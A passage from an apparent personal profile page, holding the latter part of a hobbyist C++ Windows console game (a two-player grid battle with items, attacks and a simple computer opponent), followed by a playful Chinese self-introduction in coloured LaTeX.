                 ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                 ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
             if(a[x-1][y]!="■"&&a[x-1][y]!="▲") {
                 a[x][y]="▓";
                 x--;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         } else {
             if(a[x-1][y]!="■"&&a[x-1][y]!="▲") {
                 a[x][y]="□";
                 if(a[x-1][y]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n1+=50;
                         }
                         case 1: {
                             m1+=20;
                         }
                     }
                 }
                 x--;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         }
     }
     if(ch=='s'||ch=='S') {
         if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                 ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                 ||x==4&&y==16||x==4&&y==17
                 ||x==16&&y==1||x==16&&y==2
                 ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                 ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
             if(a[x+1][y]!="■"&&a[x+1][y]!="▲") {
                 a[x][y]="▓";
                 x++;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         } else {
             if(a[x+1][y]!="■"&&a[x+1][y]!="▲") {
                 a[x][y]="□";
                 if(a[x+1][y]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n1+=50;
                         }
                         case 1: {
                             m1+=20;
                         }
                     }
                 }
                 x++;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         }
     }
     if(ch=='v'||ch=='V') {
         if(a[x][y-2]=="▲"
                 ||a[x][y+2]=="▲"
                 ||a[x-2][y]=="▲"
                 ||a[x+2][y]=="▲"
                 ||a[x-1][y-1]=="▲"
                 ||a[x+1][y-1]=="▲"
                 ||a[x-1][y+1]=="▲"
                 ||a[x+1][y+1]=="▲"
                 ||a[x][y-1]=="▲"
                 ||a[x][y+1]=="▲"
                 ||a[x-1][y]=="▲"
                 ||a[x+1][y]=="▲") {
             n2-=20;
             m1+=2;
             n2-=(l1-1)*2;
             if(lev1==l1) {
                 lev1=0;
                 l1++;
             }
             lev1++;
             draw();
         }
     }
     if(ch=='b'||ch=='B') {
         if(m1>=50) {
             n1+=200;
             m1-=50;
             draw();
         }
     }
     if(ch=='n'||ch=='N') {
         if(m1>=100) {
             n2-=150;
             n1+=150;
             m1-=100;
             n2-=(l1-1)*10;
             n1+=(l1-1)*10;
             m1+=20;
             m2-=20;
             if(lev1==l1) {
                 lev1=0;
                 l1++;
             }
             lev1++;
             draw();
         }
     }
     if(ch=='f'||ch=='F') {
         if(m1>=20) {
             if(ch1=='w'||ch1=='W') {
                 if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                         ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                         ||x==4&&y==16||x==4&&y==17
                         ||x==16&&y==1||x==16&&y==2
                         ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                         ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
                     if(a[x-2][y]=="▓"||a[x-2][y]=="□") {
                         a[x][y]="▓";
                         x-=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 } else {
                     if(a[x-2][y]=="▓"||a[x-2][y]=="□"||a[x-2][y]=="∷") {
                         a[x][y]="□";
                         if(a[x-2][y]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n1+=50;
                                     m1+=30;
                                 }
                                 case 1: {
                                     m1+=30;
                                 }
                             }
                         }
                         x-=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 }
             }
             if(ch1=='s'||ch1=='S') {
                 if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                         ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                         ||x==4&&y==16||x==4&&y==17
                         ||x==16&&y==1||x==16&&y==2
                         ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                         ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
                     if(a[x+2][y]=="▓"||a[x+2][y]=="□") {
                         a[x][y]="▓";
                         x+=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 } else {
                     if(a[x+2][y]=="▓"||a[x+2][y]=="□"||a[x+2][y]=="∷") {
                         a[x][y]="□";
                         if(a[x+2][y]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n1+=50;
                                     m1+=30;
                                 }
                                 case 1: {
                                     m1+=30;
                                 }
                             }
                         }
                         x+=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 }
             }
             if(ch1=='a'||ch1=='A') {
                 if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                         ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                         ||x==4&&y==16||x==4&&y==17
                         ||x==16&&y==1||x==16&&y==2
                         ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                         ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
                     if(a[x][y-2]=="▓"||a[x][y-2]=="□") {
                         a[x][y]="▓";
                         y-=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 } else {
                     if(a[x][y-2]=="▓"||a[x][y-2]=="□"||a[x][y-2]=="∷") {
                         a[x][y]="□";
                         if(a[x][y-2]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n1+=50;
                                     m1+=30;
                                 }
                                 case 1: {
                                     m1+=30;
                                 }
                             }
                         }
                         y-=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 }
             }
             if(ch1=='d'||ch1=='D') {
                 if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                         ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                         ||x==4&&y==16||x==4&&y==17
                         ||x==16&&y==1||x==16&&y==2
                         ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                         ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
                     if(a[x][y+2]=="▓"||a[x][y+2]=="□") {
                         a[x][y]="▓";
                         y+=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 } else {
                     if(a[x][y+2]=="▓"||a[x][y+2]=="□"||a[x][y+2]=="∷") {
                         a[x][y]="□";
                         if(a[x][y+2]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n1+=50;
                                     m1+=30;
                                 }
                                 case 1: {
                                     m1+=30;
                                 }
                             }
                         }
                         y+=2;
                         a[x][y]="●";
                         m1-=20;
                         draw();
                     }
                 }
             }
         }
     }
     if(ch=='g'||ch=='G') {
         if(m1>=70) {
             if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                     ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                     ||p==4&&q==16||p==4&&q==17
                     ||p==16&&q==1||p==16&&q==2
                     ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                     ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                 if(a[x+1][y]!="■") {
                     a[p][q]="▓";
                     p=x+1;
                     q=y;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
                 if(a[x-1][y]!="■") {
                     a[p][q]="▓";
                     p=x-1;
                     q=y;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
                 if(a[x][y+1]!="■") {
                     a[p][q]="▓";
                     p=x;
                     q=y+1;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
                 if(a[x][y-1]!="■") {
                     a[p][q]="▓";
                     p=x;
                     q=y-1;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
             } else {
                  if(a[x+1][y]!="■") {
                     a[p][q]="□";
                     p=x+1;
                     q=y;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
                 if(a[x-1][y]!="■") {
                     a[p][q]="□";
                     p=x-1;
                     q=y;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
                 if(a[x][y+1]!="■") {
                     a[p][q]="□";
                     p=x;
                     q=y+1;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
                 if(a[x][y-1]!="■") {
                     a[p][q]="□";
                     p=x;
                     q=y-1;
                     a[p][q]="▲";
                     m1-=70;
                     n2-=100;
                     return 0;
                 }
             }
         }
     }
     return 0;
     }
     int p2kz() {
     if(ch==72||ch==80||ch==75||ch==77)
         ch2=ch;
     if(ch==72) {
         if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                 ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                 ||p==4&&q==16||p==4&&q==17
                 ||p==16&&q==1||p==16&&q==2
                 ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                 ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
             if(a[p-1][q]!="■"&&a[p-1][q]!="●") {
                 a[p][q]="▓";
                 p--;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         } else {
             if(a[p-1][q]!="■"&&a[p-1][q]!="●") {
                 a[p][q]="□";
                 if(a[p-1][q]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n2+=50;
                         }
                         case 1: {
                             m2+=20;
                         }
                     }
                 }
                 p--;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         }
     }
     if(ch==75) {
         if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                 ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                 ||p==4&&q==16||p==4&&q==17
                 ||p==16&&q==1||p==16&&q==2
                 ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                 ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
             if(a[p][q-1]!="■"&&a[p][q-1]!="●") {
                 a[p][q]="▓";
                 q--;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         } else {
             if(a[p][q-1]!="■"&&a[p][q-1]!="●") {
                 a[p][q]="□";
                 if(a[p][q-1]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n2+=50;
                         }
                         case 1: {
                             m2+=20;
                         }
                     }
                 }
                 q--;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         }
     }
     if(ch==80) {
         if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                 ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                 ||p==4&&q==16||p==4&&q==17
                 ||p==16&&q==1||p==16&&q==2
                 ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                 ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
             if(a[p+1][q]!="■"&&a[p+1][q]!="●") {
                 a[p][q]="▓";
                 p++;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         } else {
             if(a[p+1][q]!="■"&&a[p+1][q]!="●") {
                 a[p][q]="□";
                 if(a[p+1][q]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n2+=50;
                         }
                         case 1: {
                             m2+=20;
                         }
                     }
                 }
                 p++;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         }
     }
     if(ch==77) {
         if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                 ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                 ||p==4&&q==16||p==4&&q==17
                 ||p==16&&q==1||p==16&&q==2
                 ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                 ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
             if(a[p][q+1]!="■"&&a[p][q+1]!="●") {
                 a[p][q]="▓";
                 q++;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         } else {
             if(a[p][q+1]!="■"&&a[p][q+1]!="●") {
                 a[p][q]="□";
                 if(a[p][q+1]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n2+=50;
                         }
                         case 1: {
                             m2+=20;
                         }
                     }
                 }
                 q++;
                 a[p][q]="▲";
                 m2++;
                 draw();
             }
         }
     }
     if(ch=='1') {
         if(a[p][q-1]=="●"
                 ||a[p][q+1]=="●"
                 ||a[p-1][q]=="●"
                 ||a[p+1][q]=="●") {
             n1-=20;
             m2+=2;
             n1-=(l2-1)*2;
             if(lev2==l2) {
                 lev2=0;
                 l2++;
             }
             lev2++;
             draw();
         }
     }
     if(ch=='2') {
         if(m2>=50) {
             n2+=200;
             m2-=50;
             draw();
         }
     }
     if(ch=='3') {
         if(m2>=100) {
             n1-=200;
             m2-=100;
             n1-=(l2-1)*20;
             if(lev2==l2) {
                 lev2=0;
                 l2++;
             }
             lev2++;
             draw();
         }
     }
     if(ch=='4') {
         if(m2>=20) {
             if(ch2==72) {
                 if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                         ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                         ||p==4&&q==16||p==4&&q==17
                         ||p==16&&q==1||p==16&&q==2
                         ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                         ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                     if(a[p-2][q]=="▓"||a[p-2][q]=="□") {
                         a[p][q]="▓";
                         p-=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 } else {
                     if(a[p-2][q]=="▓"||a[p-2][q]=="□"||a[p-2][q]=="∷") {
                         a[p][q]="□";
                         if(a[p-2][q]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n2+=50;
                                     m2+=30;
                                 }
                                 case 1: {
                                     m2+=30;
                                 }
                             }
                         }
                         p-=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 }
             }
             if(ch2==80) {
                 if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                         ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                         ||p==4&&q==16||p==4&&q==17
                         ||p==16&&q==1||p==16&&q==2
                         ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                         ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                     if(a[p+2][q]=="▓"||a[p+2][q]=="□") {
                         a[p][q]="▓";
                         p+=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 } else {
                     if(a[p+2][q]=="▓"||a[p+2][q]=="□"||a[p+2][q]=="∷") {
                         a[p][q]="□";
                         if(a[p+2][q]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n2+=50;
                                     m2+=30;
                                 }
                                 case 1: {
                                     m2+=30;
                                 }
                             }
                         }
                         p+=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 }
             }
             if(ch2==75) {
                 if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                         ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                         ||p==4&&q==16||p==4&&q==17
                         ||p==16&&q==1||p==16&&q==2
                         ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                         ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                     if(a[p][q-2]=="▓"||a[p][q-2]=="□") {
                         a[p][q]="▓";
                         q-=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 } else {
                     if(a[p][q-2]=="▓"||a[p][q-2]=="□"||a[p][q-2]=="∷") {
                         a[p][q]="□";
                         if(a[p][q-2]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n2+=50;
                                     m2+=30;
                                 }
                                 case 1: {
                                     m2+=30;
                                 }
                             }
                         }
                         q-=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 }
             }
             if(ch2==77) {
                 if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                         ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                         ||p==4&&q==16||p==4&&q==17
                         ||p==16&&q==1||p==16&&q==2
                         ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                         ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                     if(a[p][q+2]=="▓"||a[p][q+2]=="□") {
                         a[p][q]="▓";
                         q+=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 } else {
                     if(a[p][q+2]=="▓"||a[p][q+2]=="□"||a[p][q+2]=="∷") {
                         a[p][q]="□";
                         if(a[p][q+2]=="∷") {
                             srand((unsigned)time(NULL));
                             switch(rand()%2) {
                                 case 0: {
                                     n2+=50;
                                     m2+=30;
                                 }
                                 case 1: {
                                     m2+=30;
                                 }
                             }
                         }
                         q+=2;
                         a[p][q]="▲";
                         m1++;
                          m2-=20;
                         draw();
                     }
                 }
             }
         }
     }
     if(ch=='5') {
         if(m2>=70) {
             if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                     ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                     ||p==4&&q==16||p==4&&q==17
                     ||p==16&&q==1||p==16&&q==2
                     ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                     ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                 a[p][q]="▓";
                 p=2;
                 q=17;
                 a[p][q]="▲";
                 m2-=70;
                 draw();
             } else {
                 a[p][q]="□";
                 p=2;
                 q=17;
                 a[p][q]="▲";
                 m2-=70;
                 draw();
             }
         }
     }
     return 0;
     }
     void renji() {
     if(n2<=200) {
         if(!(p==2&&q==15||p==2&&q==16||p==2&&q==17
                 ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                 ||p==4&&q==16||p==4&&q==17)) {
             if(m2>=70) {
                 ch='5';
                 p2kz();
                 return;
             }
         } else {
             return;
         }
     }
     if(a[p][q-1]=="●"
             ||a[p][q+1]=="●"
             ||a[p-1][q]=="●"
             ||a[p+1][q]=="●") {
         ch='1';
         p2kz();
         return;
     }
     if(n2<=900) {
         if(m2>=50) {
             ch='2';
             p2kz();
             return;
         }
     }
     if(n2>=600) {
         if(m2>=100) {
             ch='3';
             p2kz();
             return;
         }
     }
     renji_gress();
     if(x<p) {
         if(a[p-1][q]=="■") {
             if(m2>=20) {
                 ch2=UP;
                 ch='4';
             }
         } else {
             ch=UP;
         }
         p2kz();
         if(p!=p2||q!=q2) {
             p2=p;
             q2=q;
             return;
         } else {
             renji_suiji();
             return;
         }
     }
     if(x>p) {
         if(a[p+1][q]=="■") {
             if(m2>=20) {
                 ch2=DOWN;
                 ch='4';
             }
         } else {
             ch=DOWN;
         }
         p2kz();
         if(p!=p2||q!=q2) {
             p2=p;
             q2=q;
             return;
         } else {
             renji_suiji();
             return;
         }
     }
     if(y<q) {
         if(a[p][q-1]=="■") {
             if(m2>=20) {
                 ch2=LEFT;
                 ch='4';
             }
         } else {
             ch=LEFT;
         }
         p2kz();
         if(p!=p2||q!=q2) {
             p2=p;
             q2=q;
             return;
         } else {
             renji_suiji();
             return;
         }
     }
     if(y>q) {
         if(a[p][q+1]=="■") {
             if(m2>=20) {
                 ch2=RIGHT;
                 ch='4';
             }
         } else {
             ch=RIGHT;
         }
         p2kz();
         if(p!=p2||q!=q2) {
             p2=p;
             q2=q;
             return;
         } else {
             renji_suiji();
             return;
         }
     }
     return;
     }
     void renji_suiji() {
     srand((unsigned)time(NULL));
     switch(rand()%4) {
         case 0: {
             ch=UP;
             p2kz();
             p2kz();
             break;
         }
         case 1: {
             ch=DOWN;
             p2kz();
             p2kz();
             break;
         }
         case 2: {
             ch=LEFT;
             p2kz();
             p2kz();
             break;
         }
         case 3: {
             ch=RIGHT;
             p2kz();
             p2kz();
             break;
         }
     }
     }
     void renji_gress() {
     if(a[p-2][q]=="∷") {
         if(a[p-1][q]=="■") {
             if(m2>=30) {
                 ch2=UP;
                 ch='4';
                 p2kz();
                 return;
             }
         }
     }
     if(a[p+2][q]=="∷") {
         if(a[p+1][q]=="■") {
             if(m2>=30) {
                 ch2=DOWN;
                 ch='4';
                 p2kz();
                 return;
             }
         }
     }
     if(a[p][q-2]=="∷") {
         if(a[p][q-1]=="■") {
             if(m2>=30) {
                 ch2=LEFT;
                 ch='4';
                 p2kz();
                 return;
             }
         }
     }
     if(a[p][q+2]=="∷") {
         if(a[p][q+1]=="■") {
             if(m2>=30) {
                 ch2=RIGHT;
                 ch='4';
                 p2kz();
                 return;
             }
         }
     }
     if(a[p-1][q]=="∷") {
         ch=UP;
         p2kz();
         return;
     }
     if(a[p+1][q]=="∷") {
         ch=DOWN;
         p2kz();
         return;
     }
     if(a[p][q-1]=="∷") {
         ch=LEFT;
         p2kz();
         return;
     }
     if(a[p][q+1]=="∷") {
         ch=RIGHT;
         p2kz();
         return;
     }
     }
     int main() {
     if(1) {
         hidden();
         jz[1]="▏";
         jz[2]="▎";
         jz[3]="▍";
         jz[4]="▌";
         jz[5]="▋";
         jz[6]="▊";
         jz[7]="▉";
         jz[0]="";
     }
     hqzy();
     for(i=1; i<=136; i++) {
         xxxx=i%8;
         COORD pos = {0, 0};
         SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
         printf("Are entering a square in the world~    Loading...\n");
         printf("-------------------------------------------------\n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
         for(j=1; j<=i/8; j++)
             printf("█");
         cout<<jz[xxxx]<<endl;
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
         printf("----------------------------------\n");
     }
     ////////////////////////////////////////////////////////////////////////////////////
     printf("Initialize the...");
     Sleep(1000);
     while(1) {
         n1=1000;
         m1=10;
         n2=1000;
         m2=10;
         l1=1;
         l2=1;
         lev1=0;
         lev2=0;
         zcd();
         if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                 ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                 ||x==4&&y==16||x==4&&y==17
                 ||x==16&&y==1||x==16&&y==2
                 ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                 ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
             a[x][y]="▓";
         } else {
             a[x][y]="□";
         }
         if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                 ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                 ||p==4&&q==16||p==4&&q==17
                 ||p==16&&q==1||p==16&&q==2
                 ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                 ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
             a[p][q]="▓";
         } else {
             a[p][q]="□";
         }
         x=18;
         y=1;
         p=2;
         q=17;
         a[4][6]=a[4][10]=a[4][11]=a[4][12]=a[5][10]=a[5][11]=a[6][10]=a[7][3]=a[7][15]=a[8][14]=a[8][15]=a[9][13]=a[9][14]=a[9][15]=a[13][3]=a[12][3]=a[12][4]=a[11][3]=a[11][4]=a[11][5]=a[14][8]=a[15][7]=a[15][8]=a[16][6]=a[16][7]=a[16][8]=a[16][12]=a[13][15]="∷";
         a[x][y]="●";
         a[p][q]="▲";
         t=time(NULL);             //开始时间
         t1=(int)time(NULL);       //当前时间
         t2=(int)time(NULL)-t;     //扣血时间
         t3=(int)time(NULL)-t;     //当前时间-开始时间:1 or 0
         t5=(double)time(NULL);    //
         draw();
         while(n1>0&&n2>0) {
             t1=(int)time(NULL);
             t3=(int)time(NULL)-t;
             t6=(double)time(NULL)-t5;
             if((time(NULL)-t)/60==10) {
                 draw();
                 printf("            Game over");
                 while(1) {
                     ch=getch();
                     if(ch=='=') {
                         return 0;
                     }
                 }
             }
             if(t2!=(int)time(NULL)-t) {
                 draw();
                 t2=(int)time(NULL)-t;
                 if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                         ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                         ||x==4&&y==16||x==4&&y==17) {
                     n1-=50;
                 }
                 if(x==16&&y==1||x==16&&y==2
                         ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                         ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
                     n1+=50;
                 }
                 if(p==2&&q==15||p==2&&q==16||p==2&&q==17
                         ||p==3&&q==15||p==3&&q==16||p==3&&q==17
                         ||p==4&&q==16||p==4&&q==17) {
                     n2+=50;
                 }
                 if(p==16&&q==1||p==16&&q==2
                         ||p==17&&q==1||p==17&&q==2||p==17&&q==3
                         ||p==18&&q==1||p==18&&q==2||p==18&&q==3) {
                     n2-=50;
                 }
             }
             if(t3%60==0) {
                 srand((unsigned)time(NULL));
                 switch(rand()%28) {
                     case 0:
                         if(a[4][6]=="□")a[4][6]="∷";
                     case 1:
                         if(a[4][10]=="□")a[4][10]="∷";
                     case 2:
                         if(a[4][11]=="□")a[4][11]="∷";
                     case 3:
                         if(a[4][12]=="□")a[4][12]="∷";
                     case 4:
                         if(a[5][10]=="□")a[5][10]="∷";
                     case 5:
                         if(a[5][11]=="□")a[5][11]="∷";
                     case 6:
                         if(a[6][10]=="□")a[6][10]="∷";
                     case 7:
                         if(a[7][3]=="□")a[7][3]="∷";
                     case 8:
                         if(a[7][15]=="□")a[7][15]="∷";
                     case 9:
                         if(a[8][14]=="□")a[8][14]="∷";
                     case 10:
                         if(a[8][15]=="□")a[8][15]="∷";
                     case 11:
                         if(a[9][13]=="□")a[9][13]="∷";
                     case 12:
                         if(a[9][14]=="□")a[9][14]="∷";
                     case 13:
                         if(a[9][15]=="□")a[9][15]="∷";
                     case 14:
                         if(a[13][3]=="□")a[13][3]="∷";
                     case 15:
                         if(a[12][3]=="□")a[12][3]="∷";
                     case 16:
                         if(a[12][4]=="□")a[12][4]="∷";
                     case 17:
                         if(a[11][3]=="□")a[11][3]="∷";
                     case 18:
                         if(a[11][4]=="□")a[11][4]="∷";
                     case 19:
                         if(a[11][5]=="□")a[11][5]="∷";
                     case 20:
                         if(a[14][8]=="□")a[14][8]="∷";
                     case 21:
                         if(a[15][7]=="□")a[15][7]="∷";
                     case 22:
                         if(a[15][8]=="□")a[15][8]="∷";
                     case 23:
                         if(a[16][6]=="□")a[16][6]="∷";
                     case 24:
                         if(a[16][7]=="□")a[16][7]="∷";
                     case 25:
                         if(a[16][8]=="□")a[16][8]="∷";
                     case 26:
                         if(a[16][12]=="□")a[16][12]="∷";
                     case 27:
                         if(a[13][15]=="□")a[13][15]="∷";
                 }
                 draw();
             }
             if(t6>=0.125) {//速度调节
                 renji();
                 t5+=0.125;
             }
             if(kbhit()) {
                 ch=getch();
                 p1kz();
                 ////////////////////////////////////////////////////////////////////////////////////
                 if(ch=='p') {
                     zanting();
                     t4=t1;
                     do {
                         ch=getch();
                     } while(ch!='p');
                     t=t+(int)time(NULL)-t4;
                     system("cls");
                     draw();
                     continue;
                 }
                 if(ch=='=') {
                     exit(0);
                 }
                 if(ch=='q') {
                     m1++;
                     draw();
                 }
                 if(ch=='6') {
                     m2++;
                     draw();
                 }
             }
         }
         ////////////////////////////////////////////////////////////////////////////////////
         draw();
         if(n2==0) {
             printf("        ●Player 1 -");
             while(1) {
                 ch=getch();
                 if(ch=='=') {
                     break;
                 }
             }
         } else {
             printf("        ▲Player 2 -");
             while(1) {
                 ch=getch();
                 if(ch=='=') {
                     break;
                 }
             }
         }
     }
     return 0;
     }
    

    娱乐区

    我也是有把绿勾的人了!

    $\small\texttt{\color{#FA4129}本}\huge\texttt{\color{#FE9019}人}_{\small\texttt{\color{#FFE304}的}^{\large\texttt{\color{#FFEC01}萌\color{#FFF900}新}\small\texttt{\color{#FCFB03}Q\color{#F8FB07}A\color{#F1FB0B}Q}}}^{\large\texttt{\color{#FFB511}是}{\small\texttt{\color{#FFDC07}刚\color{#FFEF00}学}\large\texttt{\color{#FFF600}O\color{#FFFA00}I}}}\huge\texttt{\color{#E6F911}但\color{#92E82F}是}^{\large\texttt{\color{#39D54B}即}{\small\texttt{\color{#03C767}使}}}_{\normalsize\text{\color{#07C964}是\color{#00C789}这\color{#00C7A5}样}}\texttt{\color{#00CBC6}我\color{#00D0EB}也}^{\small\texttt{\color{#00D0F2}要}\normalsize\texttt{\color{#00D0F6}用}\texttt{\color{#03BEF4}蒟}_{\texttt{\color{#04AAEF}蒻}\large\texttt{\color{#078DE4}的}}}_{\scriptsize\texttt{\color{#01CDF6}声\color{#03C2F5}音\color{#04B4F2}大\color{#04A7EE}声\color{#0791E6}喊\color{#0A7BDD}出}}\mathcal{\color{#125BCD}IOI\color{#3D2AB5}AK\color{#A011AD}ME}$

    梦想:Ia_aI\color{purple}{\texttt{Ia\_aI}} I AK IOI\color{white}\colorbox{purple}{\texttt{I AK IOI}}

    现实:Ia_aI\color{green}{\texttt{Ia\_aI}}

    发展方向:Ia_aI\color{brown}{\texttt{Ia\_aI}} 作弊者\color{white}\colorbox{brown}{\texttt{作弊者}}

